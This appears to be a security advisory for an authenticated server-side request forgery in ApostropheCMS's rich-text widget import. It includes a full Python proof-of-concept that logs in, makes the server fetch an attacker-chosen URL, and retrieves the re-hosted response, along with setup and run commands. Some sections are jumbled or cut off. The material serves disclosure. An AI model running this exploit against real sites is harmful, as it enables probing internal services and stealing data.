ApostropheCMS contains an authenticated server-side request forgery (SSRF) in the rich-text widget import flow. An authenticated user who can submit/edit rich-text widget content can cause the server to fetch attacker-controlled URLs during widget validation. For image-compatible responses, the fetched content can be persisted and re-hosted by Apostrophe, allowing response exfiltration.
#!/usr/bin/env python3
import argparse
import json
import sys
from urllib.parse import urljoin
import requests
def login(base_url: str, username: str, password: str) -> str:
url = urljoin(base_url, "/api/v1/@apostrophecms/login/login")
r = requests.post(
url,
json={
"username": username,
"password": password
},
timeout=20
)
r.raise_for_status()
data = r.json()
token = data.get("token")
if not token:
raise RuntimeError(f"Login succeeded but no token was returned: {data}")
return token
def trigger(base_url: str, token: str, area_field_id: str, target_url: str) -> dict:
url = urljoin(
base_url,
"/api/v1/@apostrophecms/area/validate-widget?aposMode=draft"
)
payload = {
"areaFieldId": area_field_id,
"type": "@apostrophecms/rich-text",
"widget": {
"type": "@apostrophecms/rich-text",
"content": "<p>seed</p>",
"import": {
"html": f'<img src="{target_url}">',
"baseUrl": target_url.rsplit("/", 1)[0] if "/" in target_url else target_url
}
}
}
r = requests.post(
url,
headers={
"Authorization": f"Bearer {token}",
"Accept": "application/json"
},
json=payload,
timeout=30
)
r.raise_for_status()
return r.json()
def main() -> int:
parser = argparse.ArgumentParser(
description="Authenticated ApostropheCMS SSRF PoC via rich-text widget import."
)
parser.add_argument("--base-url", default="http://127.0.0.1:3000")
parser.add_argument("--username", default="admin")
parser.add_argument("--password", default="admin123")
parser.add_argument("--area-field-id", default="cd4f89f5b834d0036f3867f1507a8add")
parser.add_argument("--target-url", default="http://127.0.0.1:7777/secret.png")
parser.add_argument(
"--fetch-image",
action="store_true",
help="Fetch the generated Apostrophe image URL after exploitation."
)
args = parser.parse_args()
try:
token = login(args.base_url, args.username, args.password)
result = trigger(args.base_url, token, args.area_field_id, args.target_url)
except Exception as exc:
print(f"[!] Exploit failed: {exc}", file=sys.stderr)
return 1
print("[+] Login OK")
print(f"[+] Bearer token: {token}")
print("[+] Exploit response:")
print(json.dumps(result, indent=2))
widget = result.get("widget") or {}
image_ids = widget.get("imageIds") or []
if not image_ids:
print("[-] No imageIds returned. Target may have been fetched but not persisted as an image.")
return 0
image_id = image_ids[0]
image_path = f"/api/v1/@apostrophecms/image/{image_id}/src"
image_url = urljoin(args.base_url, image_path)
print(f"[+] Generated image id: {image_id}")
print(f"[+] Generated image URL: {image_url}")
if args.fetch_image:
r = requests.get(image_url, allow_redirects=True, timeout=30)
print(f"[+] Final fetch status: {r.status_code}")
print(f"[+] Final URL: {r.url}")
print(f"[+] Retrieved bytes: {len(r.content)}")
return 0
if __name__ == "__main__":
raise SystemExit(main())
An authenticated user with permission to submit or edit rich-text widget content can:
Summary
ApostropheCMS contains an authenticated server-side request forgery (SSRF) in the rich-text widget import flow. An authenticated user who can submit/edit rich-text widget content can cause the server to fetch attacker-controlled URLs during widget validation. For image-compatible responses, the fetched content can be persisted and re-hosted by Apostrophe, allowing response exfiltration.
Details
The vulnerable flow is in the rich-text widget sanitizer:
packages/apostrophe/modules/@apostrophecms/rich-text-widget/index.jspackages/apostrophe/modules/@apostrophecms/area/index.jspackages/apostrophe/modules/@apostrophecms/widget-type/index.jsRelevant behavior:
import.html.<img src=...>values from that HTML.new URL(src, input.import.baseUrl || self.apos.baseUrl)fetch(url).This is reachable during widget validation through:
POST /api/v1/@apostrophecms/area/validate-widget?aposMode=draftPoC
mkdir -p /tmp/apos-poc base64 -d > /tmp/apos-poc/secret.png <<'EOF' iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8/x8AAwMCAO+y1n0AAAAASUVORK5CYII= EOF cd /tmp/apos-poc && python3 -m http.server 7777 --bind 127.0.0.1python3 poc.py \ --base-url http://127.0.0.1:3000 \ --username admin \ --password admin123 \ --area-field-id cd4f89f5b834d0036f3867f1507a8add \ --target-url http://127.0.0.1:7777/secret.png \ --fetch-imageGET /secret.png HTTP/1.1
Additional note:
Impact
An authenticated user with permission to submit or edit rich-text widget content can:
References